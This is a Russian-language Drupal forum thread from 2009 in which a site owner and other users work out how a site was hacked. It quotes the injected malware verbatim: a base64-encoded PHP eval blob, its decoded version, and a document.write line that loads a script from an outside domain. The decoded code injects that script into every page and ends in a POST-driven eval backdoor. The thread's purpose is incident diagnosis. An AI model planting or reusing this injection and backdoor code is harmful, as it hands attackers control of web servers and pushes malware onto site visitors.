[выяснено] Внедрен вредоносный код

Главные вкладки

Аватар пользователя buggy buggy 21 октября 2009 в 8:18

Сайт:

http://www.scs-market.ru - CMS Drupal, версия drupal и модулей самая последняя.

Ломался в течение двух последних дней перебором типа:

http://www.scs-market.ru/admin/setup.php
http://www.scs-market.ru/phpmyadmin/setup.php
http://www.scs-market.ru/pam/setup.php
http://www.scs-market.ru/yandex_export
http://www.scs-market.ru/ya.xml

абсолютно ничего страшного...

Действия администратора - блок по IP.

Как итог, злоумышленник постоянно менял IP и добился таки своей цели, внедрив вредоносный код (как, пока не известно).

Сайт сейчас находится почти в том же состоянии - уязвим. Причина уязвимости не выяснена.

Хочу обратиться к Вам с вопросом: что проверить в первую очередь?

PS после взлома в папке include создана папка b2nr с правами 777. Вероятно, через нее и продолжали ломать, однако, как создали?

Новое: также злоумышленник расположил свою ссылку после тега 'head' в тег 'script'.

Комментарии

Аватар пользователя Химический Али Химический Али 21 октября 2009 в 8:38

Возьмите дистрибутив той версии, что стоит у вас и проведите побайтовое сравнение всех файлов. И я очень прошу вас отписаться на .орг если будут подозрения в проникновении через Друпал.

Какое еще ПО установлено на вашем аккаунте? Какова конфигурация сервера? Все ли пароли достаточно мудреные? Какое клиентское ПО используется для доступа на сервер?

Может быть, попытки взлома и взлом производили разные люди?

Приведите содержимое созданной директории и кода, добавленного на сайт.

Аватар пользователя stenli21 stenli21 21 октября 2009 в 9:03

вот-вот, у мня сейчас аналогичная ситуация происходит... эти же папки и файлы пытается просканировать...

Аватар пользователя buggy buggy 21 октября 2009 в 9:15

Так, так, так... все вопросы обоснованы и в тему.

1. Побайтовое сравнение проведу, потом выскажусь.

2. ПО на аккаунте - Веб-сервер DataPalm 2.5, 3.0
(аналог Apache 2.x, оптимизированный для хостинг-систем)
# Сервер БД MySQL версии 5.0.x, 5.1.х.

Это то, о чем мне рассказала хостинговая компания. На VPS еще не переезжал.

3. Пароли мудренные, меняю раз в месяц, заливаю изменения и работаю через ftp на отдельном компьютере с антивирусником, кроме как на ftp и ssh комп больше никуда не лазит в интернет.

4. Для ftp использую windows commander. Пароли не храню, постоянно ввожу.

5. Возможно и разные, но после этих попыток сайт обычно ложится с ошибкой:

Fatal error: Cannot redeclare b6b() (previously declared in /home/us7638/scs-market.ru/www/index.php(1) : eval()'d code:1) in /home/us7638/scs-market.ru/www/sites/default/settings.php(1) : eval()'d code on line 1.

Изначально на settings.php стоит chmod 550, после взлома 777.

В начало index.php и settings.php вносятся:

<?php eval(.....); ?>, также такая хрень появляется и в других файлах в папке include.

6. Код директории - она пуста, но с правами 777.

Сейчас, когда сайт открылся не на долго, вновь попытки перебора. Прямо сейчас с IP: 87.250.254.242.

Хотя по IP ничего не скажешь, вдруг через анонимный лезет.

Аватар пользователя buggy buggy 21 октября 2009 в 9:26

На текущий момент злоумышленник явно знает, что это друпал, т.к. начал перебирать пути типа:

предупреждение page not found 21.10.2009 sites/defaults/modules/webforsd Гость
предупреждение page not found 21.10.2009 sites/defaults/modules/views Гость
предупреждение page not found 21.10.2009 sites/defaults/modules/cck Гость
предупреждение page not found 21.10.2009 sites/defaults/modules Гость
предупреждение page not found 21.10.2009 sites/defaults

Хотя узнать-то вроде и не сложно.. Все пути итак видны и ясны.

Аватар пользователя buggy buggy 21 октября 2009 в 9:50

Так, действительно spider05.yandex.ru, значит он у меня и вправду просит файлы ya.xml, yandex_export.

А вот этот в админку и модули лезет: 195.122.236.138 (puls.sci-nnov.ru).

Версия ядра последняя, модули тоже. Лишнего ничего не включал и не ставил.

Ссылка после тега head на mhashim появляется путем добавления:

document.write('<script src= dr-mhashim.com/ContactUs/myalbum.php ><\/script>');;

во временные файлы js, которые кэшируются. Вероятно через них, что-то и пролезло.

Аватар пользователя Vladimir_VVV Vladimir_VVV 21 октября 2009 в 11:11

смотрите кто владелец папки b2nr, хотя если вебсервер chroot`ится в вашего пользователя то владелец 1 для всех. А так может быть например владельцы файлов в папке files одни(вебсервер) а остальных папок другие(логин через фтп).В этом случае интересно кто владелец папки b2nr.

А то похоже что Вы раздаете пароли от фтп разным троянам а Ваш касперский купленый за 800рублей их не видит, оно и правильно база то не резиновая а эвристического анализа нет.

Аватар пользователя buggy buggy 21 октября 2009 в 11:22

"Vladimir_VVV" wrote:
А то похоже что Вы раздаете пароли от фтп разным троянам а Ваш касперский купленый за 800рублей их не видит, оно и правильно база то не резиновая а эвристического анализа нет.

У меня не касперский, а Kerio Winroute + Avast, но думаю не суть важно...т.к. с компа в инет не ходят, только по одному ip для связи с хостингом. Сетовать на антивирусную систему не вижу смысла.

Думаю, если б был доступ по ftp, то не так бы его использовали, как в данном случае: поломали, но не до конца, как будто не знают, что дальше делать.

Аватар пользователя buggy buggy 21 октября 2009 в 11:38

Побайтное сравнение дало:

Во все файлы с расширением *.js добавилась строчка document.write, о которой я писал ранее.
Во все файлы с расширением *.inc добавился:

<?php eval(base64_decode('aWYoIWlzc2V0KCRnamFjMSkpe2Z1bmN0aW9uIGdqYWMoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyUnlMVzFvWVhOb2FXMHVZMjl0TDBOdmJuUmhZM1JWY3k5dGVXRnNZblZ0TG5Cb2NDQStQQzl6WTNKcGNIUSsnKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIGdqYWMyKCRhLCRiLCRjLCRkKXtnbG9iYWwgJGdqYWMxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRnamFjMSkpY2FsbF91c2VyX2Z1bmMoJGdqYWMxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpIGFzICR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2dqYWMnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZ2phYycpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRnamFjbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignZ2phYzInKSkhPSdnamFjMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>

Если, как тут уже упоминалось, атаковали не только меня, а поломали мой сайт, то логично сделать вывод, что вина кроется в нем.

Просто хочу узнать, куда копать.

Аватар пользователя Demimurych Demimurych 21 октября 2009 в 11:54

сто процентов работает автомат. а не человек.

Дальше выводы. Если работает автомат и это была бы уязвимость друпала, первым бы лег друпал орг.

а у него все в порядке.

От сюда вывод. Ищите у себя или у хостера.

Аватар пользователя p-code p-code 21 октября 2009 в 12:23

Декодированный код:

<?phpif(!isset($gjac1)){function gjac($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2RyLW1oYXNoaW0uY29tL0NvbnRhY3RVcy9teWFsYnVtLnBocCA+PC9zY3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function gjac2($a,$b,$c,$d){global $gjac1;$s=array();if(function_exists($gjac1))call_user_func($gjac1,$a,$b,$c,$d);foreach(ob_get_status(1) as $v)if(($a=$v['name'])=='gjac')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('gjac');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$gjacl=(($a=@set_error_handler('gjac2'))!='gjac2')?$a:0;eval(base64_decode($_POST['e']));?>

Аватар пользователя buggy buggy 21 октября 2009 в 12:32

"Demimurych" wrote:
сто процентов работает автомат. а не человек.

Дальше выводы. Если работает автомат и это была бы уязвимость друпала, первым бы лег друпал орг.

Абсолютно согласен, уже сделал такой же вывод.

2 p-code

спасибо, подумаю

Аватар пользователя Vladimir_VVV Vladimir_VVV 21 октября 2009 в 12:58

А владелец то папки кто?

99.9% всех взломов через утыреные пароли фтп. Я не думаю что вы исключение.
Смотрите логи ftp будет веселее думать что аваст гавно еще хуже чем каспер.
или от обратного смотрите дату создания папки и проверте по логам сервера с кого и куда был доступ. Я уверен что там ничего особенного не найдете так как взлом с указанной выше вероятностью был через фтп.

Даже не трогаю drupal могу сказать что такую дырявую систему как phpbb никто не пвтается взламывать через web-уязвимости, опять же дешевле и проще через ftp.

Аватар пользователя buggy buggy 21 октября 2009 в 13:14

"Vladimir_VVV" wrote:
99.9% всех взломов через утыреные пароли фтп

спасибо, учту. Пароль поменял, завтра запущу сайт и посмотрю на результаты сегодняшних исследований и действий.

Аватар пользователя buggy buggy 22 октября 2009 в 6:56

"Nikit" wrote:
отсканился автор бы на вирусяки...

Снимал винт, сканил, ничего не нашел. В общем если что еще найду, узнаю, отпишусь

Аватар пользователя stenli21 stenli21 22 октября 2009 в 9:30

Да дело скорее не в вирусе здесь, а в хостере - видимо дыры есть серьезные...

Сегодня логи смотрю - опять ползает гад, с того же апишника, теперь уже целенаправленно js-файлы читает...

Аватар пользователя Oberon7 Oberon7 22 октября 2009 в 12:24

Один в один тоже самое было.
Все сайты на одном аккаунте сломали.
Был и друпал и чистый хтмл.
На компе вирусов не нашел, разными антивирусами сканил.
Всё вычистил, пароли поменял.
Пока вроде всё нормально, мониторю каждый день теперь.

Аватар пользователя buggy buggy 29 октября 2009 в 5:58

Проблемы с сайтом по-прежнему продолжаются, однако, это связано не с безопасностью Drupal или моей утерей пароля..

По всей видимости виновата хостинговая компания. Жалобы на работоспособность этого сервера поступали не только от меня и, как оказало, они официально заявили, что будут проводить в ближайшее время обновление и небольшую реорганизацию.

Аватар пользователя staryi@drupal.org staryi@drupal.org 31 октября 2009 в 17:25

А хостинг какой не подскажите ? У меня на Инфобоксе тоже несколько сайтов на разных аккаунтах легло, не совсе конечно, но по разному.
Один перевелся в off-line режим, с комментом "Сайт www.***.ru Больше Вам не принадлежит. По всем интересующим Вас вопросам обращаться fskrf@yandex.ru", на другом аккаунте несколько сайтом, там хостер перекрыл отправку емэйлов из скриптов, говорит вирус от меня полез ..